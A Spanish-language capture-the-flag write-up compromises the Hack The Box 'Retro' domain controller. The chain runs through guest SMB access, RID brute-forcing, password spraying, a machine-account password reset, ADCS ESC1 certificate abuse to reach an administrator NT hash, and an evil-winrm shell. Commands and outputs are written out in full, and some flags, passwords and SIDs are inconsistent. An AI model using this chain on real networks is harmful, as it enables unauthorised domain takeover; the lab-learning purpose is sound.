

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Retro– Plataforma Hack The Box

DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “Retro”** alojada en la plataforma **Hack The Box**, en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal y poco ética**.

4. **Limitaciones y responsabilidad:**

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

ENUMERACIÓN

Comenzamos realizando un escaneo con nmap para poder localizar los puertos que se encuentran abiertos en la máquina objetivo.

```
(root@kali)-[/home/phoenixx/Escritorio/retro]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 10.129.234.44
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-25 15:15 +0000
Initiating SYN Stealth Scan at 15:15
Scanning 10.129.234.44 [65535 ports]
Discovered open port 135/tcp on 10.129.234.44
Discovered open port 139/tcp on 10.129.234.44
Discovered open port 3389/tcp on 10.129.234.44
Discovered open port 53/tcp on 10.129.234.44
Discovered open port 445/tcp on 10.129.234.44
Discovered open port 49664/tcp on 10.129.234.44
SYN Stealth Scan Timing: About 19.01% done; ETC: 15:17 (0:02:12 remaining)
Discovered open port 49668/tcp on 10.129.234.44
Discovered open port 464/tcp on 10.129.234.44
Discovered open port 65281/tcp on 10.129.234.44
Discovered open port 49667/tcp on 10.129.234.44
Discovered open port 389/tcp on 10.129.234.44
SYN Stealth Scan Timing: About 45.16% done; ETC: 15:17 (0:01:14 remaining)
Discovered open port 60736/tcp on 10.129.234.44
Discovered open port 593/tcp on 10.129.234.44
Discovered open port 3268/tcp on 10.129.234.44
Discovered open port 636/tcp on 10.129.234.44
Discovered open port 65288/tcp on 10.129.234.44
Discovered open port 3269/tcp on 10.129.234.44
Discovered open port 9389/tcp on 10.129.234.44
Discovered open port 60723/tcp on 10.129.234.44
Discovered open port 88/tcp on 10.129.234.44
```

Los puertos que encontramos abiertos nos hacen sospechar que es muy posible que nos encontremos ante un Domain Controller. Así que realizamos un escaneo más exhaustivo para ver la versión y los servicios que corren por esos puertos.

```
(root@kali)-[/home/phenixx/Escritorio/retro]
# nmap -sVC -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -n -Pn -oN target 10.129.234.44
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-25 15:25 +0000
Nmap scan report for 10.129.234.44
Host is up (0.053s latency).
```

No hemos escaneado los puertos superiores al 10000 porque en raras ocasiones obtenemos resultados concluyentes, por lo que para optimizar el escaneo y en base a experiencia previa se decide proceder de esta manera.

ENUMERACIÓN SMB

Uno de los puntos más interesantes a la hora de enumerar una máquina es el servicio SMB (puerto 445).

Empezamos obteniendo el nombre de la máquina en cuestión y añadiendo el dominio a nuestro `/etc/hosts`, para que pueda resolverlo con facilidad.

```

root@kali:~/home/phenixx/Escritorio/retro# crackmapexec smb 10.129.234.44
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)

```

Probamos a logearnos sin proporcionar credenciales, podemos,pero no obtenemos acceso a los recursos compartidos.

```

[+] (root@kali)-[/home/phoenix/Escritorio/retro]
# crackmapexec smb 10.129.234.44 -u "" -p ""
SMB 10.129.234.44 445 DC [+] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\

[+] (root@kali)-[/home/phoenix/Escritorio/retro]
# crackmapexec smb 10.129.234.44 -u "" -p "" --shares
SMB 10.129.234.44 445 DC [+] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [+] retro.vl\
SMB 10.129.234.44 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIED

```

Es interesante, cuando se está enumerando SMB tener en mente la cuenta Guest, puesto que puede no estar desactivada y proporcionar acceso a diversas funcionalidades como listar los recursos compartidos u obtener un listado de los usuarios.

En efecto, obtenemos un listado de los recursos compartidos, y observamos uno que llama la atención “Trainees”.

```
(root@kali)-[/home/phoenixx/Escritorio/retro] --shares  
crackmapexec smb 10.129.234.44 -u 'guest' -p ''  
  
SMB      10.129.234.44    445   DC          [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)  
SMB      10.129.234.44    445   DC          [+] retro.vl\guest:  
SMB      10.129.234.44    445   DC          [+] Enumerated shares  
SMB      10.129.234.44    445   DC          Share            Permissions        Remark  
SMB      10.129.234.44    445   DC          -----           -  
SMB      10.129.234.44    445   DC          ADMIN$             Remote Admin  
SMB      10.129.234.44    445   DC          C$                 Default share  
SMB      10.129.234.44    445   DC          IPC$              READ               Remote IPC  
SMB      10.129.234.44    445   DC          NETLOGON           Logon server share  
SMB      10.129.234.44    445   DC          Notes  
SMB      10.129.234.44    445   DC          SYSVOL            Logon server share  
SMB      10.129.234.44    445   DC          Trainees         READ
```

Acceemos a dicho recurso y vemos el contenido del mismo:

```

(root@kali)-[/home/phoenixx/Escritorio/retro]
# smbclient -U "guest%" //10.129.234.44/Trainees
Try "help" to get a list of possible commands.
smb: \> dir
.                D                0    Sun Jul 23 21:58:43 2023
..               DHS                0    Wed Jun 11 14:17:10 2025
Important.txt    A                288  Sun Jul 23 22:00:13 2023

4659711 blocks of size 4096. 1324466 blocks available
smb: \> get Important.txt
getting file \Important.txt of size 288 as Important.txt (1,3 KiloBytes/sec) (average 1,3 KiloBytes/sec)
smb: \>

```

Encontramos un archivo de texto llamado Important.txt, por lo que procedemos a descargarlo y examinar su contenido.

```

(root@kali)-[/home/phoenixx/Escritorio/retro]
# cat Important.txt
Dear Trainees,

I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.

Regards

The Admins

```

El texto da a entender que los administradores están hartos de resetear las contraseñas, por lo que han decidido facilitarles las cosas.

Lo primero que necesitamos es un listado válido de usuarios, como la cuenta de invitado está activada podemos hacer un rid-brute para obtener por fuerza bruta los usuarios del dominio. El Relative Identifier es un número único que identifica a cada usuario del dominio y sigue después del Security Identifier del Dominio. En conjunto identifican de manera unequivoca a cualquier objeto del dominio, en este caso a los usuario.

```

(root@kali)-[/home/phoenixx/Escritorio/retro]
# crackmapexec smb 10.129.234.44 -u guest -p '' --rid-brute | grep -i "sidtypeuser" | awk '{print $6}' | cut -d '\\' -f2 > users
(root@kali)-[/home/phoenixx/Escritorio/retro]
# cat users
Administrator
Guest
krbtgt
DC$
trainee
BANKING$
jburley
tblack

```

Para corroborar que pertenecen al dominio podemos apoyarnos de la herramienta kerbrute para validarlos.

```

(root@kali)-[/home/phoenixx/Escritorio/retro]
# kerbrute userenum --dc 10.129.234.44 -d retro.vl users

  _____
 /  _  _  _  \
|  _ \| | | | | |
| |_) | | | |
|  _ \| | | |
|_| \_|_|_|_|

Version: v1.0.3 (9dad6e1) - 07/25/26 - Ronnie Flathers @ropnop

2026/07/25 15:46:15 > Using KDC(s):
2026/07/25 15:46:15 > 10.129.234.44:88

2026/07/25 15:46:15 > [+] VALID USERNAME: jburley@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: BANKING$@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: tblack@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: trainee@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: Guest@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: DC$@retro.vl
2026/07/25 15:46:15 > [+] VALID USERNAME: Administrator@retro.vl

```

Una vez validados, debemos tener en cuenta lo que ha comentado la nota, les han facilitado el tener que recordar la contraseña. Antes de realizar un ataque de fuerza bruta existen diferentes opciones que hay que tener en cuenta básicamente para no bloquear las cuentas abusando de intentos de login.

Una de las primeras aproximaciones en este punto podría ser la de utilizar el nombre de los usuarios como contraseña (user as password). Procedemos de esta manera.

Utilizamos crackmapexec con la flag “—no-brute” para que no pruebe todos los usuarios entre sí, si no que cada usuario proporcione su nombre como contraseña. Encontramos un usuario que puede hacer login de esta manera.

```
(root@kali)-[/home/phenixx/Escritorio/retro]
# crackmapexec smb 10.129.234.44 -u users -p users --no-brute --continue-on-success | grep "+"
SMB 10.129.234.44 445 DC [+] retro.vl\trainee:trainee
```

PIVOTING A USUARIO TRAINEE

Una de las aproximaciones que deben hacerse cuando se pivota de usuario es comprobar los permisos que tiene el mismo sobre los recursos compartidos, puesto que obviamente pueden ser diferentes a los del usuario del que venimos.

En efecto, encontramos un nuevo recurso compartido, en este caso se trata de Notes. Lo revisamos de la misma manera que anteriormente.

```
(root@kali)-[/home/phoenixx/Escritório/retro]
# crackmapexec smb 10.129.234.44 -u trainee -p trainee --shares
```

SMB	IP	Port	Path	Status	
SMB	10.129.234.44	445	DC	[+] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)	
SMB	10.129.234.44	445	DC	[+] retro.vl\trainee:trainee	
SMB	10.129.234.44	445	DC	[+] Enumerated shares	
SMB	IP	Port	Share	Permissions	Remark
SMB	10.129.234.44	445	-----	-----	-----
SMB	10.129.234.44	445	ADMIN\$		Remote Admin
SMB	10.129.234.44	445	C\$		Default share
SMB	10.129.234.44	445	IPC\$	READ	Remote IPC
SMB	10.129.234.44	445	NETLOGON	READ	Logon server share
SMB	10.129.234.44	445	Notes	READ	
SMB	10.129.234.44	445	SYSVOL	READ	Logon server share
SMB	10.129.234.44	445	Trainees	READ	

```
(root@kali)~[/home/phoenixx/Escritorio/retro]
# smbclient -U "trainee%trainee" //10.129.234.44/Notes
Try "help" to get a list of possible commands.
smb: \> dir
.                D                0    Wed Apr  9 03:12:49 2025
..               DHS              0    Wed Jun 11 14:17:10 2025
ToDo.txt         A                248  Sun Jul 23 22:05:56 2023
user.txt         A                32   Wed Apr  9 03:13:01 2025

4659711 blocks of size 4096. 1324210 blocks available
smb: \> get ToDo.txt
getting file \ToDo.txt of size 248 as ToDo.txt (1,1 KiloBytes/sec) (average 1,1 KiloBytes/sec)
smb: \> get user.txt
getting file \user.txt of size 32 as user.txt (0,2 KiloBytes/sec) (average 0,7 KiloBytes/sec)
smb: \>
```

Nos encontramos con dos archivos, la flag de user y un archivo ToDo.txt que procedemos a inspeccionar.

```
(root@kali)-[/home/phoenixx/Escritorio/retro]
# cat ToDo.txt
Thomas,

after convincing the finance department to get rid of their ancient banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.

Best
James
```

Nos habla de que existe una cuenta de máquina preconfigurada, si echamos un vistazo al listado de usuarios veremos que BANKING\$ es una cuenta de máquina. Las cuentas de máquinas preconfiguradas normalmente tienen como contraseña el nombre de la máquina en minúsculas y sin el símbolo del dólar. Lo comprobamos con crackmapexec.

```
krbtgt
DC$
trainee
BANKING$
jburley
tblack

(root@kali)-[/home/phoenixx/Escritorio/retro]
# crackmapexec smb 10.129.234.44 -u 'BANKING$' -p banking
SMB 10.129.234.44 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.44 445 DC [-] retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```

Obtenemos un error STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT, que podemos solucionar fácilmente con un cambio de contraseña.

```
(root@kali)-[/home/phoenixx/Escritorio/retro]
# impacket-changepasswd retro.vl/'BANKING$'@10.129.234.44 -dc-ip 10.129.234.44 -p rpc-samr
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Current password:
New password:
Retype new password:
[*] Changing the password of retro.vl\BANKING$
[*] Connecting to DCE/RPC as retro.vl\BANKING$
[*] Password was changed successfully.
```

Ahora ya tenemos acceso a la cuenta de máquina.

ACTIVE DIRECTORY CERTIFICATE SERVICES

Después de ejecutar Bloohound-python para recolectar información sobre el dominio y no llegar a ninguna conclusión. Una de las alternativas que podemos explorar es verificar de ACTIVE DIRECTORY CERTIFICATE SERVICES está activo, lo podemos revisar con netexec y su módulo adcs.

```
(root@kali)-[/home/phoenixx/Escritorio/retro]
# netexec ldap 10.129.234.44 -u 'BANKING$' -p 'Pass1!' -M adcs
LDAP 10.129.234.44 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP 10.129.234.44 389 DC [+] retro.vl\BANKING$:Pass1!
ADCS 10.129.234.44 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.234.44 389 DC Found PKI Enrollment Server: DC.retro.vl
ADCS 10.129.234.44 389 DC Found CN: retro-DC-CA
```

En efecto nos devuelve que existe una CA llamada retro-DC-CA que es la entidad encargada de expedir los certificados que se utilizan para identificar a cada usuario.

En este punto podemos utilizar certipy-ad para constatar si el existe algún template vulnerable dentro del rango de escenarios ECS1-ESC16.

```
(root@kali)-[/home/phenixx/Escritorio/retro]
# certipy-ad find -u 'BANKING$' -p 'Pass!' -target DC.retro.vl -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)
```

```
Certificate Templates
0
Template Name           : RetroClients
Display Name            : Retro Clients
Certificate Authorities   : retro-DC-CA
Enabled                  : True
Client Authentication    : True
Enrollment Agent        : False
Any Purpose              : False
Enrollee Supplies Subject : True
Certificate Name Flag     : EnrolleeSuppliesSubject
Extended Key Usage       : Client Authentication
Requires Manager Approval : False
Requires Key Archival    : False
Authorized Signatures Required : 0
Schema Version           : 2
Validity Period          : 1 year
Renewal Period           : 6 weeks
Minimum RSA Key Length   : 4096
Template Created          : 2023-07-23T21:17:47+00:00
Template Last Modified    : 2023-07-23T21:18:39+00:00
Permissions
  Enrollment Permissions
  Enrollment Rights      : RETRO.VL\Domain Admins
                        : RETRO.VL\Domain Computers
                        : RETRO.VL\Enterprise Admins
  Object Control Permissions
  Owner                  : RETRO.VL\Administrator
  Full Control Principals : RETRO.VL\Domain Admins
                        : RETRO.VL\Enterprise Admins
  Write Owner Principals : RETRO.VL\Domain Admins
                        : RETRO.VL\Enterprise Admins
  Write Dacl Principals  : RETRO.VL\Domain Admins
                        : RETRO.VL\Enterprise Admins
  Write Property Enroll  : RETRO.VL\Domain Admins
                        : RETRO.VL\Domain Computers
                        : RETRO.VL\Enterprise Admins
  [+] User Enrollable Principals : RETRO.VL\Domain Computers
  [!] Vulnerabilities
  ESC1                   : Enrollee supplies subject and template allows client authentication.
```

La plantilla **RetroClients** es vulnerable a **ESC1**, ya que permite especificar el *Subject* del certificado y habilitaba la autenticación de clientes. Al disponer de una cuenta de máquina perteneciente al grupo **Domain Computers**, es posible solicitar un certificado para un usuario privilegiado y utilizarlo para autenticarse en Active Directory mediante PKINIT.

Con cualquier usuario podemos pedir un certificado para autenticarnos como administrador, así que procedemos a pedir uno con la opción req.

Cabe destacar que es importante activar la sincronización horaria con el DC al que vamos a atacar para que el certificado sea válido.

```
(root@kali)-[/home/phenixx/Escritorio/retro]
certipy-ad req -u 'BANKING$' -p 'Pass!' -target DC.retro.vl -dc-ip 10.129.234.44 -spn Administrator -ca retro-DC-CA -template RetroClients -key-size 4096 -iso 5-1-5-21-2983547755-698248136-4283918172-580 --
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] DC host (dc-host) not specified. Using domain as DC host
[+] Name server: 10.129.234.44
[+] DC IP: 10.129.234.44
[+] DC host: RETRO.VL
[+] Target IP: None
[+] Remote Name: DC.retro.vl
[+] Domain: RETRO.VL
[+] Username: BANKING$
[+] Trying to resolve 'DC.retro.vl' at '10.129.234.44'
[+] Generating RSA key
[+] Requesting certificate via PKINIT
[+] Trying to connect to endpoint: ncacn_ip10.129.234.44[spn/cert]
[+] Connected to endpoint: ncacn_ip10.129.234.44[spn/cert]
[+] Request ID is 18
[+] Successfully requested certificate
[+] Got certificate with SPN: 'Administrator'
[+] Found SID in SAM blob: 'S-1-5-21-2983547755-698248136-4283918172-580'
[+] Found SID in security extension: 'S-1-5-21-2983547755-698248136-4283918172-580'
[+] Certificate object SID is 'S-1-5-21-2983547755-698248136-4283918172-580'
[+] Saving certificate and private key to 'administrator.pfx'
[+] Attempting to write data to 'administrator.pfx'
[+] Data written to 'administrator.pfx'
[+] Wrote certificate and private key to 'administrator.pfx'
```

En este momento ya disponemos un certificado que nos identifica como administrador.

Ahora ya nos podemos autenticar con este certificado como el usuario administrador y obtener su hash NTLM para poder realizar un ataque Pass-The-Hash.

```
[*] Wrote certificate and private key to 'administrator.pfx'

(root@kali)-[/home/phenixx/Escritorio/retro]
# certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.129.234.44 -domain retro.vl
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] SAN URL SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Security Extension SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Using principal: 'administrator@retro.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@retro.vl': aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389
```

Si nos diera un error, que a veces ocurre, podemos utilizar la opción ldap-shell para interactuar con ldap y por ejemplo añadir usuarios al grupo de administradores, o cambiar la contraseña de administrador por ejemplo, es una técnica bastante ruidosa pero si no hay otra alternativa puede ser una opción a tener en cuenta.

```
(root@kali)-[/home/phenixx/Escritorio/retro]
# certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.129.234.44 -domain retro.vl -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] SAN URL SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Security Extension SID: 'S-1-5-21-2983547755-698260136-4283918172-500'
[*] Connecting to 'ldaps://10.129.234.44:636'
[*] Authenticated to '10.129.234.44' as: 'u:RETRO\\Administrator'
Type help for list of commands

# help

add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is sp
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
clear_shadow_creds target - Clear shadow credentials on the target (sAMAccountName).
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control [search_base] target grantee - Grant full control on a given target object (sAMAccountName or search filter,
set_dontrequireauth user true/false - Set the don't require pre-authentication flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
set_shadow_creds target - Set shadow credentials on the target object (sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations neces
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surroundin
whoami - get connected user
dirsync - Dirsync requested attributes
exit - Terminates this session.
```

```
# change_password administrator Pass1!
Got User DN: CN=Administrator,CN=Users,DC=retro,DC=vl
Attempting to set new password of: Pass1!
Password changed successfully!
```

Si optamos por la opción del hash podemos utilizar impacket-secretsdump para realizar un DCSync attack y obtener los hashes de contraseñas de todos los usuarios del dominio.

Ya habríamos conseguido ser administradores del dominio.

```
(root@kali)-[/home/phoenixx/Escritorio/retro]
# evil-winrm -i 10.129.234.44 -u administrator -p 'Pass1!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
retro\administrator
```